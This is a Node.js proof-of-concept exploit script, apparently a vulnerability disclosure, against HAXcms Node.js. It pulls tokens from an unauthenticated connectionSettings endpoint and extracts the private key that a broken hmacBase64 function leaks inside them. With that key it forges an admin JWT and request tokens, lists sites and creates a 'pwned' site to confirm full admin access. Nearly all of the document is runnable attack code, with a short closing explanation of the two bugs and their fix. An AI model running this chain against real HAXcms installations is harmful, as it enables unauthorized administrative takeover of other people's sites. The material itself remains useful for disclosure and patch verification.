README.md
Rendering markdown...
#!/usr/bin/env node
/**
* PoC: HAXcms Node.js — Private Key Disclosure via Broken HMAC (CWE-321, CWE-200)
*
* Vulnerable code: haxcms-nodejs/src/lib/HAXCMS.js lines 2158-2163
*
* Usage: node poc_hmac_key_leak.js <target_url>
* Example: node poc_hmac_key_leak.js http://localhost:3000
*/
const crypto = require('crypto');
const http = require('http');
const https = require('https');
const TARGET = process.argv[2] || 'http://localhost:3000';
// ── Helper: Reproduce the VULNERABLE hmacBase64 from HAXCMS.js:2158-2163 ──
function hmacBase64_vulnerable(data, key) {
var buf1 = crypto.createHmac("sha256", "0").update(data).digest();
var buf2 = Buffer.from(key);
return Buffer.concat([buf1, buf2]).toString('base64')
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
// ── Helper: What a CORRECT hmacBase64 looks like (PHP version, HAXCMS.php:1619-1631) ──
function hmacBase64_correct(data, key) {
return crypto.createHmac("sha256", key).update(data).digest('base64')
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
// ── Helper: Extract the private key embedded inside a broken HMAC token ──
function extractKeyFromToken(token) {
const padded = token.replace(/-/g, '+').replace(/_/g, '/');
const decoded = Buffer.from(padded, 'base64');
const hmacPart = decoded.slice(0, 32); // first 32 bytes = SHA-256 digest (useless, keyed with "0")
const keyBytes = decoded.slice(32); // remaining bytes = privateKey+salt IN PLAINTEXT
return {
hmac: hmacPart.toString('hex'),
key: keyBytes.toString('utf8')
};
}
function fetch(url) {
return new Promise((resolve, reject) => {
const mod = url.startsWith('https') ? https : http;
mod.get(url, { rejectUnauthorized: false }, (res) => {
let data = '';
res.on('data', chunk => data += chunk);
res.on('end', () => resolve(data));
}).on('error', reject);
});
}
function post(url, body) {
return new Promise((resolve, reject) => {
const parsed = new URL(url);
const mod = parsed.protocol === 'https:' ? https : http;
const postData = JSON.stringify(body);
const opts = {
hostname: parsed.hostname,
port: parsed.port,
path: parsed.pathname + parsed.search,
method: 'POST',
rejectUnauthorized: false,
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(postData)
}
};
const req = mod.request(opts, (res) => {
let data = '';
res.on('data', chunk => data += chunk);
res.on('end', () => resolve({ status: res.statusCode, body: data }));
});
req.on('error', reject);
req.write(postData);
req.end();
});
}
// ════════════════════════════════════════════════════════════════════
// MAIN
// ════════════════════════════════════════════════════════════════════
async function main() {
console.log('');
console.log('================================================================');
console.log(' HAXcms Node.js — Private Key Disclosure via Broken HMAC');
console.log(' CWE-321 (Hard-Coded Crypto Key) + CWE-200 (Info Exposure)');
console.log(' Vulnerable file: src/lib/HAXCMS.js lines 2158-2163');
console.log('================================================================');
console.log(' Target: ' + TARGET);
console.log('================================================================\n');
// ────────────────────────────────────────────────────────────────
// STEP 1 — Fetch tokens from the UNAUTHENTICATED endpoint
// ────────────────────────────────────────────────────────────────
console.log('┌──────────────────────────────────────────────────────────────┐');
console.log('│ STEP 1: Fetch /system/api/connectionSettings (NO AUTH) │');
console.log('└──────────────────────────────────────────────────────────────┘');
console.log('');
console.log(' This endpoint is publicly accessible — it is listed in the');
console.log(' JWT validation skip list at src/app.js. No cookies, no');
console.log(' headers, no authentication of any kind is required.');
console.log('');
console.log(' Request: GET ' + TARGET + '/system/api/connectionSettings');
console.log('');
const raw = await fetch(TARGET + '/system/api/connectionSettings');
// Parse — could be JS (window.appSettings = {...};) or raw JSON
let settings;
const jsMatch = raw.match(/window\.appSettings\s*=\s*(\{[\s\S]*\});/);
if (jsMatch) {
settings = JSON.parse(jsMatch[1]);
} else {
try { settings = JSON.parse(raw); } catch(e) {
console.log(' ERROR: Could not parse response.');
console.log(' Raw (first 500 chars): ' + raw.substring(0, 500));
process.exit(1);
}
}
const token = settings.token
|| settings.getFormToken
|| (settings.appStore && settings.appStore.params && settings.appStore.params.appstore_token);
if (!token) {
console.log(' ERROR: No token found in response.');
process.exit(1);
}
console.log(' Response received. Tokens found in the JSON body:');
console.log('');
console.log(' token: ' + (settings.token || 'N/A'));
console.log(' getFormToken: ' + (settings.getFormToken || 'N/A'));
if (settings.appStore && settings.appStore.params) {
console.log(' appstore_token: ' + (settings.appStore.params.appstore_token || 'N/A'));
console.log(' site_token: ' + (settings.appStore.params.site_token || 'N/A'));
}
console.log('');
console.log(' NOTE: A correctly implemented HMAC token would be ~44 chars');
console.log(' (32 bytes base64-encoded). These tokens are ' + token.length + ' chars,');
console.log(' which is the first visible indicator that extra data');
console.log(' (the private key) is embedded in the token output.');
console.log('');
// ────────────────────────────────────────────────────────────────
// STEP 2 — Extract the private key from the token
// ────────────────────────────────────────────────────────────────
console.log('┌──────────────────────────────────────────────────────────────┐');
console.log('│ STEP 2: Extract the private key from the token │');
console.log('└──────────────────────────────────────────────────────────────┘');
console.log('');
console.log(' The vulnerable hmacBase64() function (HAXCMS.js:2158-2163)');
console.log(' produces tokens with this structure:');
console.log('');
console.log(' base64url( [32 bytes: HMAC-SHA256 with key "0"]');
console.log(' [N bytes: privateKey+salt PLAINTEXT] )');
console.log('');
console.log(' To extract the key, we:');
console.log(' 1. Base64-decode the token');
console.log(' 2. Discard the first 32 bytes (the useless HMAC)');
console.log(' 3. Read the remaining bytes as UTF-8 — that is the key');
console.log('');
const { hmac, key } = extractKeyFromToken(token);
if (key.length === 0) {
console.log(' Token is exactly 32 bytes — key NOT leaked.');
console.log(' This instance may be running the fixed version or PHP backend.');
process.exit(1);
}
console.log(' Token decoded (' + Buffer.from(token.replace(/-/g,'+').replace(/_/g,'/'), 'base64').length + ' bytes total):');
console.log('');
console.log(' Bytes 0-31 (HMAC digest, keyed with "0"):');
console.log(' ' + hmac);
console.log('');
console.log(' Bytes 32+ (privateKey + salt in PLAINTEXT):');
console.log(' ' + key);
console.log('');
console.log(' RESULT: Private key successfully extracted!');
console.log(' Key length: ' + key.length + ' characters');
console.log('');
// ────────────────────────────────────────────────────────────────
// STEP 3 — Verify the extracted key is correct
// ────────────────────────────────────────────────────────────────
console.log('┌──────────────────────────────────────────────────────────────┐');
console.log('│ STEP 3: Verify the extracted key is correct │');
console.log('└──────────────────────────────────────────────────────────────┘');
console.log('');
console.log(' We recompute the default token using our extracted key and');
console.log(' the vulnerable hmacBase64() function, then compare it to');
console.log(' the token the server returned.');
console.log('');
const recomputed = hmacBase64_vulnerable('', key);
const serverToken = settings.token;
console.log(' Server token: ' + (serverToken || 'N/A'));
console.log(' Recomputed token: ' + recomputed);
console.log('');
if (serverToken && recomputed === serverToken) {
console.log(' MATCH — extracted key is correct.');
} else if (!serverToken) {
console.log(' (Server did not return a base "token" field; skipping comparison.)');
} else {
console.log(' WARNING: Tokens do not match — key may be partially incorrect.');
}
console.log('');
// ────────────────────────────────────────────────────────────────
// STEP 4 — Forge an admin JWT using the stolen key
// ────────────────────────────────────────────────────────────────
console.log('┌──────────────────────────────────────────────────────────────┐');
console.log('│ STEP 4: Forge an admin JWT using the stolen key │');
console.log('└──────────────────────────────────────────────────────────────┘');
console.log('');
console.log(' HAXcms JWTs are signed with privateKey+salt (HAXCMS.js:2830):');
console.log(' JWT.sign(payload, this.privateKey + this.salt)');
console.log('');
console.log(' The JWT payload requires:');
console.log(' - id: hmacBase64("user", key) — the user request token');
console.log(' - user: "admin" — the username');
console.log(' - iat: current timestamp');
console.log(' - exp: expiry timestamp');
console.log('');
let jwt;
try {
jwt = require('jsonwebtoken');
} catch(e) {
console.log(' ERROR: jsonwebtoken not installed. Run: npm install jsonwebtoken');
console.log(' The key has been extracted — JWT forgery requires this module.');
console.log(' Extracted key: ' + key);
return;
}
const forgedId = hmacBase64_vulnerable('user', key);
const now = Math.floor(Date.now() / 1000);
const forgedPayload = {
id: forgedId,
user: 'admin',
iat: now,
exp: now + 900
};
console.log(' Forging JWT with payload:');
console.log(' {');
console.log(' id: "' + forgedId.substring(0, 40) + '..."');
console.log(' user: "admin"');
console.log(' iat: ' + now + ' (' + new Date(now * 1000).toISOString() + ')');
console.log(' exp: ' + (now + 900) + ' (' + new Date((now + 900) * 1000).toISOString() + ')');
console.log(' }');
console.log('');
console.log(' Signing key: ' + key);
console.log('');
const forgedJWT = jwt.sign(forgedPayload, key);
console.log(' Forged JWT:');
console.log(' ' + forgedJWT);
console.log('');
// Decode to confirm
const decoded = jwt.verify(forgedJWT, key);
console.log(' JWT signature verified locally:');
console.log(' user = ' + decoded.user);
console.log(' exp = ' + new Date(decoded.exp * 1000).toISOString());
console.log('');
// ────────────────────────────────────────────────────────────────
// STEP 5 — Forge request tokens needed by authenticated endpoints
// ────────────────────────────────────────────────────────────────
console.log('┌──────────────────────────────────────────────────────────────┐');
console.log('│ STEP 5: Forge request tokens for authenticated endpoints │');
console.log('└──────────────────────────────────────────────────────────────┘');
console.log('');
console.log(' Authenticated API calls also require HMAC request tokens:');
console.log(' user_token = hmacBase64("admin", key)');
console.log(' base_token = hmacBase64("", key)');
console.log(' form_token = hmacBase64("form", key)');
console.log('');
const userToken = hmacBase64_vulnerable('admin', key);
const baseToken = hmacBase64_vulnerable('', key);
const formToken = hmacBase64_vulnerable('form', key);
console.log(' Forged tokens:');
console.log(' user_token: ' + userToken);
console.log(' base_token: ' + baseToken);
console.log(' form_token: ' + formToken);
console.log('');
// ────────────────────────────────────────────────────────────────
// STEP 6 — Call authenticated endpoint to prove admin access
// ────────────────────────────────────────────────────────────────
console.log('┌──────────────────────────────────────────────────────────────┐');
console.log('│ STEP 6: Call authenticated endpoint (listSites) │');
console.log('└──────────────────────────────────────────────────────────────┘');
console.log('');
console.log(' Using the forged JWT and user_token to call /system/api/listSites.');
console.log(' This endpoint requires admin authentication.');
console.log('');
const listUrl = TARGET + '/system/api/listSites?user_token=' + encodeURIComponent(userToken) + '&jwt=' + encodeURIComponent(forgedJWT);
console.log(' Request: GET ' + TARGET + '/system/api/listSites');
console.log(' ?user_token=' + userToken.substring(0, 30) + '...');
console.log(' &jwt=' + forgedJWT.substring(0, 30) + '...');
console.log('');
const listResp = await fetch(listUrl);
console.log(' Response (first 500 chars):');
console.log(' ' + listResp.substring(0, 500));
console.log('');
// ────────────────────────────────────────────────────────────────
// STEP 7 — Create a site to prove full write access
// ────────────────────────────────────────────────────────────────
const siteName = 'pwned-' + Date.now();
console.log('┌──────────────────────────────────────────────────────────────┐');
console.log('│ STEP 7: Create a site to prove full admin write access │');
console.log('└──────────────────────────────────────────────────────────────┘');
console.log('');
console.log(' Calling POST /system/api/createSite with forged credentials');
console.log(' to create site "' + siteName + '".');
console.log('');
const createUrl = TARGET + '/system/api/createSite?user_token=' + encodeURIComponent(userToken);
const createResp = await post(createUrl, {
jwt: forgedJWT,
token: baseToken,
site: { name: siteName },
theme: 'clean-one',
type: 'course'
});
console.log(' HTTP Status: ' + createResp.status);
console.log(' Response:');
console.log(' ' + createResp.body.substring(0, 500));
console.log('');
if (createResp.status === 200) {
console.log(' SITE CREATED SUCCESSFULLY — full admin access confirmed.');
console.log(' The site "' + siteName + '" now exists on disk at _sites/' + siteName + '/');
} else {
console.log(' Site creation returned status ' + createResp.status + '.');
console.log(' Check if the server is running and accessible.');
}
console.log('');
// ────────────────────────────────────────────────────────────────
// SUMMARY
// ────────────────────────────────────────────────────────────────
console.log('================================================================');
console.log(' EXPLOIT SUMMARY');
console.log('================================================================');
console.log('');
console.log(' Vulnerability: Broken HMAC in hmacBase64() — HAXCMS.js:2158-2163');
console.log('');
console.log(' Bug 1 (line 2160):');
console.log(' crypto.createHmac("sha256", "0") ← key hardcoded to "0"');
console.log(' Should be: crypto.createHmac("sha256", key)');
console.log('');
console.log(' Bug 2 (lines 2161-2163):');
console.log(' Buffer.concat([hmacDigest, Buffer.from(key)]) ← key appended');
console.log(' Should be: just return the HMAC digest, never include the key');
console.log('');
console.log(' Attack chain:');
console.log(' 1. GET /connectionSettings (no auth) → receive tokens');
console.log(' 2. Base64-decode any token → discard first 32 bytes → read key');
console.log(' 3. Use key to forge JWT (jwt.sign(payload, key))');
console.log(' 4. Use key to forge request tokens (hmacBase64(value, key))');
console.log(' 5. Call any authenticated API with forged credentials');
console.log('');
console.log(' Extracted key: ' + key);
console.log(' Forged JWT: ' + forgedJWT.substring(0, 50) + '...');
console.log(' Admin access: ' + (createResp.status === 200 ? 'CONFIRMED' : 'CHECK MANUALLY'));
console.log('');
console.log('================================================================');
}
main().catch(err => {
console.error('Error:', err.message);
process.exit(1);
});